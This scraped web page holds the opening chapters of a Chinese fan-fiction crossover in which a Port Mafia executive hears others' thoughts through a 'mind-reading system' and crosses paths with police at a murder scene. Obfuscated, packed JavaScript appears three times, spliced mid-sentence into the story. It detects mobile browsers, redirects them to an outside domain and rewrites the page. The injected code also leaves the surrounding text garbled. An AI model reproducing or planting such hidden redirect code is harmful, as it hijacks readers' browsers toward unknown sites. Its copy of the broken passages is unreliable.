《他们的心声是否哪里不对》 1. 第 1 章 入秋,横滨的气温比之前凉了些。 随着脚步声响起,灰色的老鼠慌慌张张地从长了青苔的楼梯上跑过。雾岛光希低下眼,看着脚底一滑的生物咕噜咕噜地从楼梯上滚下,最后四脚朝天地倒在自己的脚边。 “雾岛干部。” 没注意到雾岛光希的视线,跟在青年身边的黑西装仍在兢兢业业地进行汇报。 “还没有直接的证明片山就是叛徒的证据,直接对他进行处刑是否有些不妥。” 雾岛光希没说话。他听到四脚朝天的老鼠吱吱吱地叫个不停,稍稍抬起了些脚,鞋尖抵住柔软的一端,勉为其难地替它翻了个身。 老鼠的胡须动了动,仰着脑袋看他一眼。 “……雾岛干部?” 没等到雾岛光希的回应,黑西装又问了一声。 “不是这个原因。”雾岛光希说,直到灰色的生物一溜烟地跑走,才重新抬起眼睛。 青年的眼瞳是淡淡的灰色,因为本身就没什么表情,所以在光线昏暗的地方就会显得格外阴沉。 “……什么?”黑西装没听清,下意识地又问了一遍。 男人刚问完就陷入了悔恨,港口黑手党的等级森严,哪有因为他没听清,就让干部再和他解释一遍的道理。 更何况面前的这位还是十五岁就担任干部,上任以后处刑了无数叛徒的雾岛光希。 由于异能是能将任何触碰到的东西引爆的攻击型招式,死在雾岛光希手下的敌人通常连完整的尸体都找不到。所谓的叛徒一旦察觉到自己可能落入雾岛光希手中,就会不听人话地立即自尽。 尊敬着这位年轻的干部的同时,更多的是担心自己惹到他的恐惧。 雾岛光希的眼瞳挪动,他注视着面前瑟瑟发抖的部下,不明白二十度的气温为什么就会让对方抖成筛子的同时,原本轻抿的唇瓣松开,反省了下自己刚才把注意力全放在老鼠身上的行为。 “不是因为他背叛了我们才要动手。”雾岛光希平静道,“片山从港口黑手党的交易中谋取利益是事实,他在逃跑的过程中朝作为干部候选的太宰开枪,根据首领定下的条例,以下犯上的人应当尽快处死。” 黑西装盯着地面,不敢抬头。 “是。”他的嗓音颤抖,“一切听您的安排。” 雾岛光希沉默,不明白对方为什么在听到以下犯上这四个字后会抖得更厉害。 港口黑手党在魏尔伦事件后损失惨重,现在正是大量招人的时候,而由于招的新人太多,最近的入职培训似乎有些忙不过来。 尽管大部分人都是为了金钱和权力才自愿加入的黑手党,但一来就让人做好杀人的觉悟好像也有些过分。 “就这样。” 又安静了一会,在黑西装要晕过去前,雾岛光希自认为体贴地开口。 “片山的事我会处理,你先回去休息。” 黑西装一连说了好几句遵命,跟刚才的小老鼠一样连滚带爬地跑走了。 雾岛光希看着部下的背影,转身继续往审讯室的更深处走去。 【卧槽卧槽卧槽】 【雾岛干部和我说了三句话,总计一百一十二个字,哈哈哈哈哈哈,还有谁!!】 雾岛光希的脚步停顿,他转身,再次看向部下离开的方向。 铁门孤零零地摇晃着,绑着绝缘线的灯泡明明灭灭,除了地上清洗过好几次的血迹以外,一个人影也看不到,自然也不可能有人说话。 自己终于还是疯了。 过了几秒,感慨工作强度的雾岛光希收回目光,向发出惨叫的审讯室内走去。 刚才逃跑的老鼠探出个脑袋,它站在台阶的上方,一动不动地盯着往黑暗中走去的雾岛光希看。 它的脸上有道浅浅的疤痕,歪了下脑袋,缓慢地爬下楼梯,从雾岛光希刚才站着的地方叼了块饼干。 - 自己的部下似乎很害怕自己这点,是森鸥外告诉雾岛光希的。 第一次听到这个说法,雾岛光希表情里的茫然加深几分,他站在柔软的红色地毯上,银发随意地披散在肩膀,听到森鸥外笑眯眯地又问了他一句“你知道为什么吗”。 “……为什么。” “光希君,是我在问你哦。”森鸥外的下巴搭在手背上,懒洋洋地提醒,“作为干部,这种程度的问题还是要能答得出来吧。” “……”雾岛光希不太能理解森鸥外想得到怎样的回答。 半分钟后,森鸥外听见他回了句“我已经纠正过几次自己的形象了”。 森鸥外不说话。 连带着爱丽丝也“嗯?”了声。 小姑娘停止了创作她的蜡笔抽象大作,抬头看向办公室中央的青年。 雾岛光希毫无疑问长了张能统一所有人审美的脸。他的眉眼冷淡,由于个子很高,所以总是敛着眼皮看人,配上他贵为干部的权势和地位,处处透着种难以接近又禁欲的气息。 然而黑医时期就认识对方的森鸥外知道,雾岛光希并不是难以接近。 懒得说话,懒得做表情。 有时候太晚下班甚至懒得绕回宿舍,索性就在休息室的沙发上一躺,开始随地大小睡。 简而言之,雾岛光希是一款低精力选手。要不是有作为干部的责任心支撑,森鸥外甚至怀疑他一天的步数会不会超过五步。 “你的理解还真是一如既往地令人惊叹。”森鸥外说。 雾岛光希:“……谢谢。” 森鸥外:“别再和以前一样把自己剃成光头。光希君,人的体质是天生的,你再怎么练也不可能练成巨石强森。” 雾岛光希的睫毛一颤,尽管脸上没什么表情,但内心的小人已经悲伤得快要裂开了。 “好过分哦,林太郎。” 爱丽丝又捡起了地上的蜡笔,熟练地安慰道。 “光希也就是因为上次有人嘲讽他的审美,悲伤地两天懒得吃饭而已。中间还可以走个流程,不要直接打击他啦。” “……” “我没有那种想法。”过了几秒,雾岛光希认真地陈述了这个事实,“况且那都是我十几岁的时候的事了。” “你这不是还能多说几个字的吗。” 达到目的的森鸥外轻笑。 “适当地和部下交流也是作为干部的工作之一,用武力震慑的同时,培养他们的忠诚度也很重要。” 雾岛光希很想解释自己几个小时前还说了一百一十二个字,但那似乎是自己压力太大才产生的幻觉,不可以拿来当论据使用。 唉。 雾岛光希叹气。 人类要是能通过脑子交流就好了。 [所以这不是正在实现您的愿望吗] 陌生的声音再次响了起来。 雾岛光希一愣。 他瞬间警觉起来,不动声色地抬眼扫了周围一圈,在确认房间里的确没有第三个人后,才皱着眉将目光收回。 “当然。请您放心。” 森鸥外没放过他刚刚的动作。 【光希君在看什么】 雾岛光希:。 【以光希君的水平,大概是在排查什么威胁,但这里能有什么威胁】 雾岛光希:…… 告诉森先生自己出现幻听的话,还要被抓去心理评估。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267591|182157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >已经被迫心理评估了很多次的雾岛光希保持缄默,转身离开之际,首领办公室的门也恰好被打开。 来人是浑身湿漉漉的太宰治,以及被他拎着的同样湿漉漉的梦野久作。 现在港口黑手党的高层里,除了森鸥外,太宰治其实是雾岛光希认识最久的。 可惜太宰治不太喜欢他。 雾岛光希猜测这是有段时间红叶委托他教导中也,所以他就带着中也出差,害太宰治没了一段时间的玩伴的缘故。 为了解除误会,雾岛光希当初出差回来还特地找了太宰道歉。 然而他每多说一个字,太宰治脸上的笑容就多少一分,直到变成面无表情,用[你还是别说话好了]的眼神看他。 那时才十五岁的太宰站在那里一动不动,看上去是生了气,而且不是很想和他说话。 小孩子真的好容易生气。 雾岛光希这么想着,看到太宰治瞥了自己一眼。少年不到一秒就收回目光,眼疾手快地把Q的玩偶塞Q嘴里,拎着后者绕过他往里走。 森鸥外饶有兴致,看到他这幅样子心情愉快:“不和光希君打个招呼吗。” 太宰治语气平淡:“我又没什么可说的。” 雾岛光希站在门边,凝视着太宰的背影。 “是吗。”森鸥外的笑意漫过唇角,“光希君按理说可是你的上级,不遵守规定可不行。” 太宰治的脚步停了一下。他手里的梦野久作蹬着腿挣扎,眼睛瞪得圆圆的,要不是因为嘴里被塞了玩偶,现在已经叽里呱啦地告状个不停。 “又不是在任务场合,光希才不在意这个。” 青年似乎没预料到太宰治会突然看过来,他稍稍一愣,虽然不理解太宰治为什么会回头盯着自己,但看看森鸥外,又看看太宰治,最后还是点头赞同了这句。 “没关系。”因为之前森鸥外让他多说话的命令,雾岛光希这次还体贴地特地多说了两句,“之前的事是我作为兄长的失职,我姑且能理解太宰不想理我的心情。” 沉默。 还是沉默。 太宰治勾起唇角,露出个微笑:“到底是谁在脑补莫名其妙的事。不是让你少和魏尔伦待在一起了吗。” 【都是因为魏尔伦总是追着中也喊弟弟,有意思,谁把他当兄长了】 雾岛光希:…… 尽管只是幻觉,但雾岛光希也因为这句话有些受到打击。他表面上眉头都没皱一下,内心的小人却已经变成白色,就这么静静地站在原地,安静得像一座风化的雕塑。 【嘿嘿】 就在雾岛光希神游天外的同时,梦野久作的声音忽然冒了出来。 雾岛光希的目光落在虽然没张嘴,但能发出声音的梦野久作身上。 【太宰要气死了】 被称为[脑髓地狱]的小朋友脚够不到地,但他看看笑容灿烂的太宰治,又看看一脸欣慰的雾岛光希,瞬间露出邪恶的幸灾乐祸表情。 【谁让他不让我找光希玩,活该。】 好像有点太真实了。 不是错觉,那难道是腹语? 完全忽略了耳边森鸥外的命令,雾岛光希思索片刻。 久作敢当着太宰的面嘲笑太宰,他不要命啦? “光希君。”森鸥外看热闹不嫌事大,稍稍挑了下眉,“你真的听清我交给你的任务了吗?” 没听清。 雾岛光希紧抿的唇角松开,正欲开口,另一个电子合成的声音却忽然响起。 [就是啊!还腹语!] 自称系统的东西幽幽地,听起来有点抓狂。 [人工!转人工!] 2. 第 2 章 从首领室里出去后,雾岛光希终于搞清了来龙去脉。 脑子里的声音自称[读心系统],据说是为了实现他的愿望出现的,没有什么代价,也没有什么副作用,唯一的缺陷就是,雾岛光希根本不信它的鬼话。 理由很简单。 雾岛光希压根不觉得这种类似阿拉丁神灯的好事会落在自己的头上。 尽管看着不像,但在加入港口黑手党前,雾岛光希是个彻头彻尾的倒霉蛋。 由于和作为家主的哥哥因为某种原因发生了争吵,所以被对方气急败坏地说了声别出现在他的面前。十四岁的雾岛光希听话地原地消失,刚漂洋过海来到日本,找到的落脚点又在黑手党的火拼中被炸了个稀碎,连带着带着过来的小金库也被不知道哪里来的妖风卷走,脑袋还被从天而降的广告牌击中,搞得他暂时性失明了几个月。 由于某人的话,雾岛光希微妙地将自己现在似乎没那么倒霉和加入港口黑手党的决定联系到了一起,脑子里根本没有背叛港口黑手党这个概念。 “况且。”雾岛光希面无表情,“如果是实现我的愿望,为什么不能是[让黑手党统治世界]的愿望。” 系统:[……] 系统:[你是AI语音助手?我现在是在和人说话吗?hello,转接给你主人,听到了吗,人工智能不要太主动] 雾岛光希不想理这个智障。 从这里到地下车库,原本不过几百米加几层电梯的距离,然而因为脑子里的这个东西,雾岛光希现在过得尤为煎熬。 他的脚步沉稳,步子迈得不大,本就腰细腿长的,行走时黑色的风衣下摆晃动,像个行走的衣架子。 【因为昨晚任务失败所以今天听雾岛干部教训了我十分钟,什么水平】 【雾岛干部一拳打过来的时候,先飘过来的是香气,虽然被打中了大概会死】 【0个人在意你们都和雾岛干部说过话,笑死,我根本没有破防】 当雾岛光希从戒备森严的最顶层离开,身影一出现在热闹的下一层楼时,所有黑西装脸上的笑容戛然而止。他们不约而同地闭上了嘴,恭敬地退到两侧,低着头,像机器人一样发出“雾岛干部”的问候,内心活动倒是很丰富。 【有没有人问问雾岛干部用的是什么香水】 【绫濑之前从哪打听的来着,据说只是洗发露】 【我现在去买同款的话是不是显得我有点奇怪,算了,牡丹……嗯?雾岛干部怎么停下来了?】 海野慎看着停在面前的那双黑色短靴,咽了口水,谨慎地抬起眼时,对上雾岛光希落下的目光。 “海野。”为了验证这些声音的真实性,雾岛光希问,“如果你对我有什么想法,可以直接说出来。” “……”走廊里安静得只剩下了呼吸声,海野慎的面色苍白,看上去马上就要吓得两眼一黑直接晕倒。 想起森鸥外刚刚说的他们害怕自己的说辞,雾岛光希沉默,头疼地继续补充:“没关系,这次是特例,我没有随便罚人的兴趣。除非你做了有损港口黑手党利益的事。” 【我靠,雾岛干部怎么知道昨天食堂打饭我多夹了块猪排——但真的没关系么,我说我想要雾岛干部的联系方式雾岛干部也会原谅我吗?】 海野慎眼睛一亮,他鼓起勇气,刚要说出自己的想法,就见雾岛光希背后的电梯门打开,刚出完任务回来的中原中也站在那里,看到雾岛光希时有些惊讶。 “雾岛?”见雾岛光希站在一名低着头的部下面前,中原中也皱眉,抬腿走过去,“你怎么在这里,又抓到叛徒了?” “不是叛徒。只是在问一些问题而已。”雾岛光希的视线从中原中也身上离开,再次落回面前面如死灰的部下,“海野?” 中原中也有些疑惑。他对海野这个名字没什么印象,但既然能让雾岛光希专门一次性说这么多话,想必这个叫海野的人身上一定有什么过人之处。 于是中原中也的看向海野慎的目光里多了分探究。 海野慎:“……” 【阿巴阿巴阿巴】 知道把原本的话问出来,马上就会暴毙的海野慎两眼一黑。 【差一点,差一点我就拥有雾岛干部的私人电话了——为什么!这就是吃猪排没付钱的报应吗!】 他的身形摇晃,嘎巴一下就晕了过去。 在脑袋磕到地面前,雾岛光希伸手,稍微拦了一下。然而还没等他把人捞起来,两旁的人就惊慌失措地一把拽过海野的后领,把昏迷的海野一人一只胳膊架了起来。 “医务室!医务室!” “十分抱歉!雾岛干部!中原大人!海野低血糖是老毛病了!” “我们这就带他去看医生!掐他人中!往他屁股上来一脚!你醒醒,海野!撑住啊海野!” 黑西装们逃跑的速度堪比碰到了什么瘟疫,雾岛光希看着他们离去的背影,在中原中也[果然如此]的视线中看了眼自己的手。 掌心的纹路在阳光下变得浅淡。 雾岛光希不理解。 他又不是炸/弹狂魔……有这么恐怖么? - “所以,太宰和久作之所以浑身是水,是因为太宰今天在漂流,久作离家出走时被易拉罐绊了一跤,不小心摔到了太宰旁边?” 从中原中也那听说那两人今天干的好事,雾岛光希停止查看手机里邮件的动作,瞥了眼电梯下降的数字。 【我看Q那家伙是自己故意跳下去的。也就雾岛觉得他是正常的小鬼】 那个声音又开始误导他了。 确认中原中也没有说话,雾岛光希有些懊恼,心想早知道就刚刚让太宰先用[人间失格]帮他试试是不是中了异能好了。 当然,这个概率很小。雾岛光希向来小心精神系异能力者,他在里世界浸染这么多年,还没迟钝到自己中了异能没察觉的地步。 “谁知道。”中原中也没在梦野久作的动机上过多纠结,注意到雾岛光希的穿着,“你身体都还没好全,这么快就要出外勤吗。” “因为涉及干部以上的机密。”雾岛光希没说太多,“本来这个任务在红叶手里,但红叶替我去了分部出差,除了地下室的那位,目前有空的就只有我了。” 为了将中原中也带走,魏尔伦曾经杀了很多港口黑手党的成员,偏偏又忽然醒悟,在这之后反过来加入了港口黑手党,还被森鸥外设立为干部。 但由于日本不被允许拥有超越者,魏尔伦又是英法两国的通缉对象,为了避免些不必要的麻烦,非必要情况下,森鸥外一般不允许他从地下室出来。 提到魏尔伦,中原中也的表情阴沉不少:“不就是那家伙把你害得在病床上躺了很久,你到底为什么还能和他好好说话。” “……” 雾岛光希没说话。他的眸光闪了闪,眼睫分割出的阴影,令那双灰色的眼睛中显出几分黑色。 “不是说话的问题。”几秒过后,雾岛光希松开唇瓣,皱着眉阐述了这个事实,“中也,不光是我,你以后也会有要和魏尔伦协同作战的时候。” 中原中也别过脸去,对这个事实产生不满:“……嘁。” 【傻瓜鸟他们现在还在昏迷中,雾岛也差点因此死掉,我的几十个部下在这场灾难中丧生,难道还要我装作什么也没发生的样子和他相处】 “……哦。”雾岛光希若有所思,他挪开看着中原中也的视线,回忆起当时的情景,“要不是那时公关官给我打电话说要当面交接一些东西,大概等你们打完我都还在出差。” 中原中也的额头上冒出一个十字,脸转回来瞪他:“雾岛,你清醒点,这是重点吗。” “我之前输给他是事实,只有越了解对方的招式才能变得越强。” 电梯门叮地一下打开,地下车库昏黄的灯光打在雾岛光希剔透的虹膜里。 “中也,黑手党不是想怎么样就怎么样的工作。” 雾岛光希的语气自始至终都没什么波澜,下颌的线条却无意识地绷紧。 雾岛光希在港口黑手党工作了八年,大部分异能力者都有着和他一同并肩作战的经历。 而为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267592|182157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了阻止异能失控的魏尔伦向市区靠近,雾岛光希培养的一百多个异能力者,只活下来了三十六个。 中原中也愣了几秒,看着雾岛光希稍微转过脸来,看向自己。 “如果是问我为什么会主动去邀请魏尔伦君和我比试,是因为我比谁都感到耻辱。” 在电梯门关上以前,雾岛光希从电梯里走出,走向那辆停靠在角落的黑色轿车。 “你……”中原中也开口,似乎是想叫住他,然而等雾岛光希回头,少年却不适应地将帽檐拉低,别开视线,别扭地说了声“算了”。 中原中也的声音压得很低,似乎带了点觉悟,又似乎带了点歉意。 然而不管是觉悟还是歉意,雾岛光希都不是很能理解那种感情的来由。 他只是又听到那种声音。 【可恶……本来只是想问他身体怎么样了的,为什么一和他说话就会变成这样,难道傻瓜鸟说的是真的,我真的中了什么诅咒吗】 雾岛光希:? 【雾岛本来就不爱说话,那时从昏迷中醒来后,还从病床上下来,一个一个地把他部下的遗物交给他们的家属……】 不是,那好像只是因为那些人的脸都残缺不全了,也只有和他们相处比较久的自己能认出来而已? 【但要说耻辱……虽然太宰那家伙口口声声对当上干部不感兴趣,可要是被那青花鱼抢先一步,也不知道会得意成什么样】 雾岛光希越听越疑惑,发现自己被这声音带跑后,努力忽略掉这声音的影响,给自己系上安全带。 【哈……】 中原中也看着坐进车里的雾岛光希,面不改色地按了电梯的上升键。 【魏尔伦的事情也好,太宰的事情也好。红叶大姐说的对,雾岛他为了变强真是不择手段。难道是因为那个老爷子的事情受到了刺激?】 【我也得快点变强才行】 雾岛光希不明所以,他下意识地向中原中也看去,可通道里已经空无一人。 等等,大佐和魏尔伦就算了,太宰又有什么事? 雾岛光希十五岁的时候在路边捡到了八岁的太宰治,因为无处可去,所以雾岛光希就将对方带在了身边。 小时候的太宰长得和梦野久作有些相似,总之就是又聪明又乖巧(不知道在说谁),谁看了都会夸可爱(根本没人夸过)的类型。 雾岛光希没有别的家人,于是就把亲手捡来的太宰当成了弟弟疼爱,培养太宰的时间自然也比别人花得多些。 除了太宰十四岁的时候受了重伤,被他送去森鸥外那养了一段时间,认真讲起来,港口黑手党就是抚养太宰长大的组织。 自己怎么就不择手段了?他对太宰还不够好吗? 雾岛光希不解。 好离谱的精神分裂,他真的得去医院给自己的脑袋电一下。 系统忧郁:[好吧,看来不是语音助手,宿主,您可以正常点吗] 中原中也的声音雾岛光希还会听一些,至于系统的话,雾岛光希收回视线,纯属当它在叽里呱啦地放屁。 他抬手,在系统念着[hello,有人听得到我说话吗]的时候设置好导航。 从首领室出来前,森鸥外看出了他的心不在焉,索性把任务的文件给了他。 高濑会覆灭后,作为高濑会前干部的藤原竜也下落不明,最近一次露面是在东京。据线人的可靠消息,对方联系了一位名叫毛利小五郎的侦探,打算将手里掌握的有关港口黑手党犯罪的证据交给对方。 毛利小五郎与警察的关系密切,多半就是个幌子,以雾岛光希对那位的了解,他估计是放不下曾经作为黑手党的脸面去主动联系条子,这才拿了侦探做借口。 只是个退役的警察,不是异能力者,因为不被允许配枪,也发挥不出据说射击很好的优势,所以对付起来不算困难。 所以,真正值得关注的…… 雾岛光希的视线落在邮件末尾附带的照片。 【风见裕也】 雾岛光希想了想,隐隐觉得在哪听过这个名字。 3. 第 3 章 午间,波洛咖啡厅的人流量少了些。和榎本小姐打过招呼后,穿着围裙的青年拿着扫帚,和往常一样去清理咖啡厅门口的落叶。 然而仔细观察的话,就会发现青年的金发下掩着黑色的耳机。安室透听着耳机里属下的汇报,敏锐地察觉到街对面的女高中生在朝自己挥手,于是也抬起手,微笑着和她们打了个招呼。 “根据柯南的消息,下午一点藤原竜也会出现在水田公园。”风见裕也的声音从耳机里传来,由于公园深处的森林信号不好,因此还带了些混乱的电流声,“按您的计划,我们于十一点就抵达了现场……” “藤原竜也的仇家很多。”安室透回道,他说话时嘴唇张开的幅度很小,低下头打扫时很难看出他在和谁讲话,“据说他手上的那份资料涉及日本境内的很多黑/帮组织。为了减少意外发生,藤原竜也大概率会以易容的形式出现,注意把两只手插在口袋里的游客,他很有可能会在把资料扔下后迅速离开,要在他逃跑前抓住。” “这,这个……”风见裕也有些心虚。 安室透的动作一顿,抬起眼来:“怎么了?” “说来也巧。”风见裕也压低声音,说话时瞥了眼远处搜查一课的几位警官,“半个小时前,有游客在抓昆虫时发现了藏在落叶下的尸体……” 安室透接上他的话:“封锁现场了吗。” 风见裕也:“是。过来的警车很多,鉴识课的人正在周围搜索,如果藤原竜也确实在附近,不一定会再和之前说的一样将情报放在某个地方。” 安室透看着落在树下的麻雀。 “但他为什么非得将东西带来现场?”风见裕也说到这里感到不解,“如果只是想拖其他组织下水,将电子版的证据先发给毛利小五郎不行吗。” 安室透蹲下身,将口袋里没来得及吃的早餐掰成几小块。 圆滚滚的麻雀歪了下脑袋,轻轻地蹦过来,啄了啄他的掌心。 安室透紫灰色的眸色加深,意味不明地笑了下:“藤原竜也不愿意与我们进行司法交易,之所以这么做,大概是想通过我们之手抓到某个他痛恨的犯罪分子。” 风见裕也一愣:“也就是说……” “他还在现场。”安室透起身道,“藤原竜也比我们之前接触过的罪犯都要狡猾,为了达到目的,可能会主动对警方下手,让其他人注意安全。” “是。”风见裕也严肃,“还有一件事,我想应该告诉您。之前那位在咖啡厅里打探过江户川柯南的警官,这次也来了现场。” 安室透一愣,意识到他说的是松田阵平。 警校时期的事安室透没告诉风见,但毕竟有些事情安室透需要风见替自己去做,想必对方也看出了些端倪。 七年前,他的同伴萩原研二因爆/炸案殉职,为了替萩原报仇,松田阵平申请调到了搜查一课,这才有了四年前轰动新闻的摩天轮事件。 安室透那时还不知道松田以身涉险,直到听到车载电台的播报才知道,要不是炸/弹在引爆的前一秒神奇地停了下来,松田就要踏上和萩原一样的道路了。 “安室先生!”身后不远处的玻璃门被推开,安室透回过头时,发现榎本梓朝自己走来。 “这个。”榎本梓笑着将手里的小雪人挂件递给他,“好像是你的东西,掉在厨房的地上了。” 安室透的脸上没了刚才和风见说话时的凌厉。 他不动声色地切断通讯,看着榎本梓手里摇晃的小雪人,微笑着接过:“谢谢,我还以为找不回来了。” “安室先生今天有事吗。”榎本梓左右看了看,确认没什么人后,神神秘秘地用手挡住嘴,“小雪人也是女朋友送的吧,如果安室先生要去约会,下午我来上班就行。” “是朋友送的。”安室透语气无奈,对榎本梓的分析哭笑不得。 榎本梓惊讶,为自己的推理失败感到失望:“诶,不是女朋友吗,我记得这个是前几年海洋馆的特别赠礼,是送给恋人,表达美好祝愿的意思。” “……是吗。”安室透看了眼手里沾上灰尘的小雪人,发觉活扣处已经断了,“那位朋友很久以前就不在了。我觉得他应该根本没听工作人员的介绍。” 榎本梓眨了眨眼:“不在了……是出国的意思吗?” 安室透将挂件放回口袋,笑着回道:“也可以这么说。” “那下次说不定会来波洛找安室先生哦。”榎本梓双手一拍,根本不信安室透刚才的说辞,对此很是期待,“安室先生现在在网络上的人气可高了,那位出国的朋友如果上网,一定也会刷到的。” “那个啊……” 想到网络上的那些帖子,安室透有些头疼。 他叹了口气,目光垂落,发现地上有一片干枯叶子已经因为外力裂开。 不会再见面了。 安室透唇角的弧度淡去,好笑又无奈地想到。 送他挂件的人,已经死在那个被血染红的冬天了。 - 下午一点,水田公园。 雾岛光希面无表情,早在十分钟前路过,听到旁边的游客尖叫一声时就知道自己又倒霉上了。 为什么。明明他已经很久没有倒霉了。 雾岛光希瞥了眼身边抓着自己的衣角,好奇地打探被警察围住的尸体的梦野久作,心想原来[但凡他多带一个人出任务就会惹上各种各样的事]的定律还是没变。 “久作。”雾岛光希说,“你不是应该和森先生在一起吗。” “首领要问太宰一些我不能听的事。”梦野久作歪了歪脑袋,“刚好想到我的玩偶还在光希的后备箱里,所以就去了地下车库,刚好看到光希的后备箱没锁。” 雾岛光希沉吟:“……然后你爬了进去。结果还没来得及爬出来,后备箱就自己合上了?” 梦野久作点头:“是这样没错。” 【因为锁弄坏了,我费了好大的劲才关上的!】 雾岛光希:“。” 尽管看出了小朋友在撒谎,但现在也不是谴责他的时候。总的来说,因为带了小孩,他在警察眼里的威胁性会下降,反倒更方便行动。 算了。 雾岛光希心想。 反正自己下车前简单地做了个易容,做个笔录而已,应该也不会耽误很多时间。 藤原竜也那人之所以要求和那位侦探现场交易,多半是想把警察引来,然后嫁祸到自己头上,如果藤原竜也认出了久作,现在就应该在周围。 想到这里,雾岛光希的视线扫过周围游客的脸。 “你这小鬼!” 拳头敲击脑袋的声音发出重响,毛利小五郎一把拎起钻进案发现场的江户川柯南的领子,把他扔到毛利兰的怀里。 “不是都跟你说了不要乱跑!” 雾岛光希的注意力被吸引。他顺着声音的地方看过去,发现穿着蓝色制服的小孩捂着脑袋喊着“痛痛痛”。 “爸爸。”毛利兰提醒道,“不要总是打柯南啦!” “毛利老弟。”目暮警官对柯南出现在犯罪现场的行为已经习以为常,“你怎么想?根据尸体泡发的程度,死亡时间应该是三天前。至于尸体手腕上的勒痕,凶手当时应该是限制了受害者的行动,致使受害者溺亡。” “咳。”毛利小五郎清了清嗓子,“就是这样,但要神不知鬼不觉地搬运尸体,凶手一定是伪装成拿着行李箱的游客,只要在公园关门后,避开巡逻人员,就算被发现了也能用白天在附近丢了东西做借口。” “可是好奇怪哦。”江户川柯南看着远处的监控摄像头道,“明明上面有摄像头,为什么凶手偏偏选了这个地方。” 毛利小五郎双手环胸:“你这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267593|182157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个笨蛋!刚才管理员不是都说了那个摄像头坏了吗。” 江户川柯南的嘴角抽了抽,无语地露出半月眼。 “叔叔忘了吗。”但很快,他又装出那副无辜的表情,“管理员大叔并没有把监控维修的公告贴出来,刚才还是目暮警官问了后才知道的。而且这里用的摄像头似乎也不是通用款,不能根据外面的红点判断监控有没有投入使用。” 毛利小五郎反应过来:“也就是说,能将尸体运到这里的只有知道这件事的内部人员。” 江户川柯南松了口气:“不愧是叔叔!” 毛利小五郎得意忘形:“哈哈哈——” 雾岛光希:“……” 围观到现在的梦野久作不明所以:“光希,他们是在讲相声吗。” 雾岛光希:“……大概吧。” 梦野久作:“为什么是大概。” 雾岛光希:“……因为我也不知道为什么名侦探是这样的。” [沉睡的小五郎]最近很有名。有名到雾岛光希都有所耳闻。 在亲眼见到对方前,雾岛光希还以为对方是那种沉默寡言的形象。 难道是因为[沉睡]是破案的前提?那一棍子把他打晕破案不就好了? 雾岛光希不理解,眼看另一个发现尸体的人的笔录已经做完,顺便也在脑中构思了一下待会要回答的话。 就说带弟弟来玩的好了。 “松田!”做完一份笔录的佐藤美和子转头,看向从刚才起就不知道跑到哪里去,现在从树林深处钻出来的松田阵平,“不是都和你说了不要擅自行动了吗!” “稍微对鉴识科那群人的报告有点在意。”松田阵平敷衍地回道。他戴着副墨镜,肩膀处的衣服被树上的雨水沾湿,尽管长了张池面脸,看上去却完全不像个警察。 他说完,看了眼身后:“再说了,高木不是也在吗。喂,你就是报上次那份报告的仇吧。” “你这不是很清楚吗。”佐藤美和子把本子往松田阵平手里一拍,“剩下的就交给你了,高木,你不要总是帮他。” 由于上次松田阵平不知道收到了什么短信,上班时间突然从警视厅冲出去,高木涉没跟上他的脚步,于是本能好心地帮他写了报告。 高木不好意思地摸了摸脑袋,不敢看佐藤警官的眼睛:“哈哈,我也没有总是……” “嚯~”松田阵平勾起唇角,注意到这两人间和前几天不太一样的气场,“我说啊,你们两个……” “光希!”稚嫩的童声响了起来。 尽管在嘈杂的现场不明显,但松田阵平还是听见了。 “我们要在这里待到什么时候?” 松田阵平的思路戛然而止。 他的目光透过墨镜,凝滞在远处穿着黑色风衣的银发青年身上。 雾岛光希并没有看他,只是在梦野久作抬起头时,伸手把小朋友歪掉的帽子挪了回来。 风轻轻地吹开了他额前的发丝,露出那双不带一丝杂质的灰色眼睛。 “咳,我们两个怎样。”佐藤美和子咳嗽一声,试图掩饰些和案子无关的事。 但她很快就发现松田的表情不太对。佐藤警官侧过脸,顺着松田阵平的目光看去。 “怎么了,松田?”佐藤美和子压低声音,以为松田阵平发现了不对之处,于是也警惕地问道。 【明明是长得完全不一样的两个人】 隔着五六米的距离,松田阵平唇角悠闲自在的笑容消失,他的目光自始至终没从雾岛光希身上移开,脸上也看不出什么表情。 “……没什么。”松田阵平对佐藤美和子说。 雾岛光希一愣,听到松田阵平的声音。 那锐利的视线就像是把小刀,挑开了他落在脸颊边的长发。 【为什么会有和光那家伙一样的眼睛】 4. 第 4 章 【雾岛光】——这是雾岛光希七年前为了混进公安厅,拿到某些重要的情报,从而销毁某些犯罪证据所使用的身份。 说来也好笑,雾岛光希原先根本不觉得这件事情有这么复杂,比起亲自潜入,用一些武力手段,或者利用一些高层的弱点,逼迫对方为自己所用是最简单的方法。 